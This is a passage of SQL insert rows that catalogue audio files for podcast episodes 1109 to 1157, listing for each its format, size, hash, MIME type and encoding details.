(1109,'hpr1109.ogg','ogg',21758225,'ced32860efd40eadfd31fc2d46bc5c39a26f36c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1109,'hpr1109.spx','spx',10852145,'b0a902e3d757b30cf385ed5b09e7d3d1e1aca44d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1110,'hpr1110.mp3','mp3',3760618,'bf97e26feeb30cc79f3a8fcfdf62ebb45995df6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1110,'hpr1110.ogg','ogg',7541444,'88aaf5111c7288a85ca7774956b6870fdf1c4a4f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1110,'hpr1110.spx','spx',1679371,'1f1efa8b13f8cc54959da18c6de5420ff443ec64','application/ogg; charset=binary','Ogg data, Speex audio'),
(1111,'hpr1111.mp3','mp3',59137699,'a304d2529e7819bfb2799e65fe8c04696ddc86dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1111,'hpr1111.ogg','ogg',57018115,'ed493ab84327f6490d7600cfc30b3cc4447bd44c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1111,'hpr1111.spx','spx',26411620,'821b16574ea0ea648a0f1e04c2984bd90afc7455','application/ogg; charset=binary','Ogg data, Speex audio'),
(1112,'hpr1112.mp3','mp3',23410442,'158b60444080dd2650cf9a65d89c5d7650ef5eae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1112,'hpr1112.ogg','ogg',14042997,'8d7af782c9954719a0debc22d9868d0fd3ca17a6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1112,'hpr1112.spx','spx',9233303,'70501fe55dbb8bc45a1281bdddb5715218590b00','application/ogg; charset=binary','Ogg data, Speex audio'),
(1113,'hpr1113.mp3','mp3',10144895,'0fe6dc67a83f9572835ab7b587137d7c0a4a6a70','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1113,'hpr1113.ogg','ogg',20612916,'8c375481a4fa767637c529815a43d75e28e97269','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(1113,'hpr1113.spx','spx',2265395,'b6306b29f1573ee440ae2ac679c93a0328db769c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1114,'hpr1114.mp3','mp3',29603314,'e55f3b4879721c05547d290560ba64d2c0564170','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1114,'hpr1114.ogg','ogg',28699922,'03f5f42985dede69a5c7d9794933b58f6bb759ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1114,'hpr1114.spx','spx',13220848,'f8cdd4d1b8d83a845d3436a70fab4aedc76b2375','application/ogg; charset=binary','Ogg data, Speex audio'),
(1115,'hpr1115.mp3','mp3',13002738,'3aead3bc9283d60ce4a380120e2645d4120fdf76','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1115,'hpr1115.ogg','ogg',14398745,'48f179200ce1d58b39298ecaa0be2c8a0ff22f79','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1115,'hpr1115.spx','spx',5807318,'099a1ce0e04e7ef4259aae9b7c65a2a5ebf4dabf','application/ogg; charset=binary','Ogg data, Speex audio'),
(1116,'hpr1116.mp3','mp3',42179685,'3d022fed6cf57292af330f89d69c8c6af1749025','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1116,'hpr1116.ogg','ogg',74766072,'12a465d822f1d01c1d74a96e6cffeb89f53f360d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1116,'hpr1116.spx','spx',18837671,'e4831f98bc62fb534c286bfa06230db1d26a1be7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1117,'hpr1117.mp3','mp3',9535575,'023e0116db4f264dbb84d4ca2000e1093412fbd4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1117,'hpr1117.ogg','ogg',17169573,'6b8dacd877c96cb2994179869ffc9efc7e0adecf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1117,'hpr1117.spx','spx',4258733,'46a083d5bcd2e21bf48b95f719fe6a059821a46e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1118,'hpr1118.mp3','mp3',3090970,'8d6b0e40fde8b1e81daf7682f6c98bafd8d93d26','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1118,'hpr1118.ogg','ogg',3518462,'7892de2f27cf113a22162c7a85c80a8b451698e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1118,'hpr1118.spx','spx',1380042,'d8d1e4bacdf98f3b8758fa9cc8741fd2bc47cde4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1119,'hpr1119.mp3','mp3',4708883,'5aba8b86229d5a021ebfa2442500e5e3062d365e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1119,'hpr1119.ogg','ogg',3172764,'58b2920a44ea27888349e8aafe9911475acfb168','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1119,'hpr1119.spx','spx',1820558,'8a2b75ab843982dd5f8958e21fbd9733d8e885cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1120,'hpr1120.mp3','mp3',17973873,'45868e335a89074535bcae7ad6bb9c4cb6e254f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1120,'hpr1120.ogg','ogg',17765871,'f54099c26c7f318b67b31e93f999e4bfe07bca64','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1120,'hpr1120.spx','spx',8026945,'4538798f86a7e9be958d39daeb95606e47c320fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1121,'hpr1121.mp3','mp3',16436543,'067b3bd54bd6d6182e4280dc6d00fdee02e9f929','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1121,'hpr1121.ogg','ogg',15132628,'fb6f289b536432399acd9c13ee9cc378ec1cf375','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps, created by: Xiph.Org libVorbis I'),
(1121,'hpr1121.spx','spx',7340896,'1460464e5863c5bd683279b908423b04e4b641d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1122,'hpr1122.mp3','mp3',24275914,'7a93863af5a697703c428c7587ff5659bee84802','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1122,'hpr1122.ogg','ogg',14415884,'d12e5b0ba111bf477548296ac2f6c879ede07761','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1122,'hpr1122.spx','spx',9574871,'05cd86c1cd4a070fafb7168750d8919813e13084','application/ogg; charset=binary','Ogg data, Speex audio'),
(1123,'hpr1123.mp3','mp3',7193893,'39cc2a007a30380b443c94ee7fbc74790946310c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1123,'hpr1123.ogg','ogg',7060891,'62950e71b7516fd38b88da258a034c2d4f53f26f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1123,'hpr1123.spx','spx',3212500,'2640b71aec3b4699e3cf01255e633f22f4fb2b36','application/ogg; charset=binary','Ogg data, Speex audio'),
(1124,'hpr1124.mp3','mp3',75460778,'15bb8af3f345897a6ec0421febc74c75b79e8a85','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1124,'hpr1124.ogg','ogg',67308533,'05b7df023b58f5ce3b649d5be569afac4b2d540c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1124,'hpr1124.spx','spx',16850861,'90b2771c1bff55ca0d386f370d0b218e583a66ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(1125,'hpr1125.mp3','mp3',10338304,'b31969788d956f4431b63454810cd2ed27c1cf37','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1125,'hpr1125.ogg','ogg',11851683,'7592e8ef8a9e439e1faf0a6a0482493f888ebd59','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1125,'hpr1125.spx','spx',4616785,'fd3cbb61b673c7d4ddcc82b8dbf44904682cab62','application/ogg; charset=binary','Ogg data, Speex audio'),
(1126,'hpr1126.mp3','mp3',11094160,'3f572ad4d0b9e89ec9e3c144d326aad729e70b2e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1126,'hpr1126.ogg','ogg',10501893,'cb14c7276a0f20b4d8f0a985549c30c5dc15df08','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1126,'hpr1126.spx','spx',3441446,'974336ed1a7b3f45ee35d7fd9b9d5731af9ece76','application/ogg; charset=binary','Ogg data, Speex audio'),
(1127,'hpr1127.mp3','mp3',14217557,'8f6d8990b2668e714090d93e6d89fb8c317914c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1127,'hpr1127.ogg','ogg',25219845,'39c459ec1f5ff18299a09f7638cdd711588399b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1127,'hpr1127.spx','spx',6349315,'ed3bc8c4742ad9f82cb5d1d9212270506aace506','application/ogg; charset=binary','Ogg data, Speex audio'),
(1128,'hpr1128.mp3','mp3',7323636,'5fe65f64e0c2ed59b2d1f7644ba1be62ba04c260','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1128,'hpr1128.ogg','ogg',7392106,'4b309eaccba235093c6be9e0e034bd7c891818e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1128,'hpr1128.spx','spx',3270570,'7cdc449a0eb8e92be405d4c734acf3dc08bd65cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1129,'hpr1129.mp3','mp3',4702208,'689a22a66c3e5fd98344c1adc988e15e02389ce8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1129,'hpr1129.ogg','ogg',4350722,'825fa206e96c0afc56fb010d11fcac92cf47d05f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1129,'hpr1129.spx','spx',2099811,'4770476e8b37716d2a530520b9fc1c538b16052f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1130,'hpr1130.mp3','mp3',10852352,'b2449ec7bca54f07b8483995141e3dd90d1740b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1130,'hpr1130.ogg','ogg',12566056,'bb5fba1778f8a61f91faa5c9760f1b204260cdce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1130,'hpr1130.spx','spx',4846657,'730ad74fdfe3c5d3045213df10adefcb3be2ef62','application/ogg; charset=binary','Ogg data, Speex audio'),
(1131,'hpr1131.mp3','mp3',42680320,'a6b81f1b8369ef60ef2dacecca356103f07d4365','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1131,'hpr1131.ogg','ogg',41744659,'0ebf0cce9d58b8ba037c1944039870d3156249fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1131,'hpr1131.spx','spx',19061528,'f0d072c8e4d891c8745a3bc8f7d143877985af52','application/ogg; charset=binary','Ogg data, Speex audio'),
(1132,'hpr1132.mp3','mp3',20544124,'a5e294fa302c07b398e34837f3e016621e6915b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1132,'hpr1132.ogg','ogg',13507019,'4611eeb9e1d4cd841a6a09bcd4a4eb255085ad4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1132,'hpr1132.spx','spx',8103025,'0387bbd266ca7f8eb05528d087478aad7053feab','application/ogg; charset=binary','Ogg data, Speex audio'),
(1133,'hpr1133.mp3','mp3',8267776,'f70d1abc63abd64fb6db4e5bc15f7f478070b0d9','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1133,'hpr1133.ogg','ogg',8632160,'ee5122ee9cb065519a1fb09d4b5c14f3398f453d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1133,'hpr1133.spx','spx',3692136,'5fe02b14ab5fa6650af6455fea7b0c80ab7a789a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1134,'hpr1134.mp3','mp3',29745152,'97f3fa3bd859197bc13cd60e8dc548db342a1ebc','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1134,'hpr1134.ogg','ogg',30355065,'60010cc4edfe10b26d1023777b251deaa24cd1c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1134,'hpr1134.spx','spx',13284074,'e688f32346b06f76238bc107b69912f63801a3b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1135,'hpr1135.mp3','mp3',8450048,'640459730042b316cb09356eac4a407b3eb48887','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1135,'hpr1135.ogg','ogg',9557340,'79cbda1057719f921d52e9df7c218669ee3f05c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1135,'hpr1135.spx','spx',3773209,'1c20822ec288907aefbc296d962fe806c429bd54','application/ogg; charset=binary','Ogg data, Speex audio'),
(1136,'hpr1136.mp3','mp3',12965888,'e9f386effa5bd6ffe7a219d0d5dbde6da89abe6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1136,'hpr1136.ogg','ogg',14927362,'8632b6ef1e6540e7e38b6d05e335f44ca78e762b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1136,'hpr1136.spx','spx',5790666,'308f51fa2aa3558157caf295f72f3f7549a823b0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1137,'hpr1137.mp3','mp3',3397632,'05d0783bfed1aaeddc45bd12f9355ed3503772e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1137,'hpr1137.ogg','ogg',3857637,'196768f2f6d9cab6a3bd64f8c8a94860522b1650','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1137,'hpr1137.spx','spx',1517415,'b63e446e3a7424cb21e11b093a9b705fddab62fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1138,'hpr1138.mp3','mp3',5326848,'ef9646de548540e0bd01bc34dcc972f5d443a390','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1138,'hpr1138.ogg','ogg',5888903,'b2063f80560c287428819a5768c69a496e3750ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1138,'hpr1138.spx','spx',2378616,'31b185e7becc94373da85d5c6dc5c15e8089ba0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1139,'hpr1139.mp3','mp3',40564486,'143e1a7adcc887539bb547849a3b4e38d4732ec5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1139,'hpr1139.ogg','ogg',12623525,'cd81b8a5e5d95029ff2282ca77de18b7fb01d1bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~110000 bps, created by: Xiph.Org libVorbis I'),
(1139,'hpr1139.spx','spx',8694572,'a81ae7c2b50f97841db6de2020df59bb2c39462b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1140,'hpr1140.mp3','mp3',7579648,'06617e8b46ac65929ee5baf0340ede36bf544dfe','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1140,'hpr1140.ogg','ogg',8523096,'76302d536a6154dde6e1f445ea02cc75cd9470bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1140,'hpr1140.spx','spx',3385192,'0f15d3cd956f2ebbba8a7c2ddca7c5c607142bdd','application/ogg; charset=binary','Ogg data, Speex audio'),
(1141,'hpr1141.mp3','mp3',4149248,'e468dad697f628df4b049685ded8cd9890b1fa43','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1141,'hpr1141.ogg','ogg',4839423,'780c2174232a17a3e908092dd30620fa53d22340','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1141,'hpr1141.spx','spx',1853307,'7ee403ce915a6d0a67059c8dd6e90febc171a5da','application/ogg; charset=binary','Ogg data, Speex audio'),
(1142,'hpr1142.mp3','mp3',13527040,'db97f63806cb4ad7940516cc27ef2b7259d857e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1142,'hpr1142.ogg','ogg',14612059,'fd143d8ab244b9a09948946be596a2ec6e8c0ead','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1142,'hpr1142.spx','spx',6041277,'81f54a96db1762531f289001caaffa2dcdb3c24e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1143,'hpr1143.mp3','mp3',10924032,'123407ed0d5ae5dc1f57c0f73883fa874991f612','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1143,'hpr1143.ogg','ogg',10314548,'a81124f1c85f5607e03832e8de94680181939027','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1143,'hpr1143.spx','spx',4878469,'c889f6a1908116e43876ca30a24e65162fe4da6f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1144,'hpr1144.mp3','mp3',15906816,'61335ae6d0a5ca617820ae03e17f3f939f52993d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1144,'hpr1144.ogg','ogg',18555910,'145b067b8a5e4184c29df2edf405f46b5d53b409','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1144,'hpr1144.spx','spx',7103722,'b2417badb6bfbf43c1d2de8a3e24264f257be1a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1145,'hpr1145.mp3','mp3',11837440,'6142e2c44d0058343b4bcbca6bfa32ad3284df82','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1145,'hpr1145.ogg','ogg',13457712,'3cd40a94c82cb8bdd2b660ab6fe74959b7e8b93d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1145,'hpr1145.spx','spx',5286680,'1e47a72d0d125fa73a716ffdc2063fa66d7ca40a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1146,'hpr1146.mp3','mp3',8474624,'416a5194af34190d0bab8916cbd71450b5b72188','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1146,'hpr1146.ogg','ogg',8011814,'c22be12420bd5c5e97765304feb1d6f39e95bd1f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1146,'hpr1146.spx','spx',3784559,'1821092726e5c213d3de299997142d8b01bff2e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1147,'hpr1147.mp3','mp3',2887680,'ffcda17ddc34ceab9b8fcfe04e1dfda1fcbb3ecd','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1147,'hpr1147.ogg','ogg',3242269,'d24a7b0daf48a3bcd463aa61b3408d0bbcf01e2a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1147,'hpr1147.spx','spx',1288986,'ca06ee01fe4acb069713aed43126c8df13276d4f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1148,'hpr1148.mp3','mp3',32355859,'5f827176ff7093dcf96ed21c7733bab63797816f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1148,'hpr1148.ogg','ogg',30302086,'c2a0de421405333a8b121f6dea8902ffbb43e9da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1148,'hpr1148.spx','spx',14450174,'cb0bde991fa8dd74fd164dedfead0fef950c0f90','application/ogg; charset=binary','Ogg data, Speex audio'),
(1149,'hpr1149.mp3','mp3',8310784,'cbb4a6e9439b31d9afdfbfc4ddf65158ad129682','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1149,'hpr1149.ogg','ogg',9247602,'56cc521a631a9fafdf65985f2e8feee6f31edcd4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1149,'hpr1149.spx','spx',3711545,'534f88eb09bcecf4f3719ec800c37d90b3e5ff76','application/ogg; charset=binary','Ogg data, Speex audio'),
(1150,'hpr1150.mp3','mp3',18653184,'e319ed518f5dc244c2b03ad912648d73bf2218ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1150,'hpr1150.ogg','ogg',21211816,'af10f9a2fc0b726d1664806c8f49953d50ac2c4c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1150,'hpr1150.spx','spx',8329961,'db1a6070e26ee404d40986f1d91f81a087af5aa8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1151,'hpr1151.mp3','mp3',100906185,'34e069fbfdedf1a0d5ef8d7019b9f828ed20dfb4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1151,'hpr1151.ogg','ogg',96439641,'045e55d46ba68bfe6ebe34b55cab1c98723eb069','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1151,'hpr1151.spx','spx',45065477,'41f4381a21d419a949f469be3326a47b54ab4a3b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1152,'hpr1152.mp3','mp3',100634078,'8659b27fb39f12675e51dae4665bacc5e99c0d62','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1152,'hpr1152.ogg','ogg',98913301,'c72f7559a9c419613d7752d593d392413e1dcd78','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1152,'hpr1152.spx','spx',44943994,'a8f69c75c1aa6fd35f81b4c87409bb4cbdbed630','application/ogg; charset=binary','Ogg data, Speex audio'),
(1153,'hpr1153.mp3','mp3',80571742,'92a9825bbd65218e0da2ad446d92b987881b4382','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1153,'hpr1153.ogg','ogg',81651999,'347c8fab03545a84190f5fcdc5500f84bfd74b0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1153,'hpr1153.spx','spx',35983832,'c8f88ac7abec2bc883290d850b2b33fe6f309eec','application/ogg; charset=binary','Ogg data, Speex audio'),
(1154,'hpr1154.mp3','mp3',52622899,'bf06a1cd0606edecde2eeaa977498319ce4ab74b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1154,'hpr1154.ogg','ogg',52373801,'43356087f63deb20a4906f6f8f5e6f3ac5ffd682','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1154,'hpr1154.spx','spx',23501632,'42411d3611ed167e2302a61f4fd373b264f1db95','application/ogg; charset=binary','Ogg data, Speex audio'),
(1155,'hpr1155.mp3','mp3',75350474,'09d1b8de38715aaddd06c0e5ab9fa10444ef3c3e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1155,'hpr1155.ogg','ogg',74701150,'fc5917c8244333cc13863a9abd2a8bfd5feb5ebe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1155,'hpr1155.spx','spx',33652029,'3e1fdf0043770acb026d91e7e9f1658527e02792','application/ogg; charset=binary','Ogg data, Speex audio'),
(1156,'hpr1156.mp3','mp3',83561700,'aae308ec755452c3279d829283e7c4cbeda1b6f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1156,'hpr1156.ogg','ogg',82994771,'a9cda4f2453e2240552071dae5ca50317a348e3a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1156,'hpr1156.spx','spx',37319310,'82b30c277bd05399920dd72c79e4445df299f75c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1157,'hpr1157.mp3','mp3',78781501,'f892db4dc93facb6d5ff82cc95579fe99f676a2e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
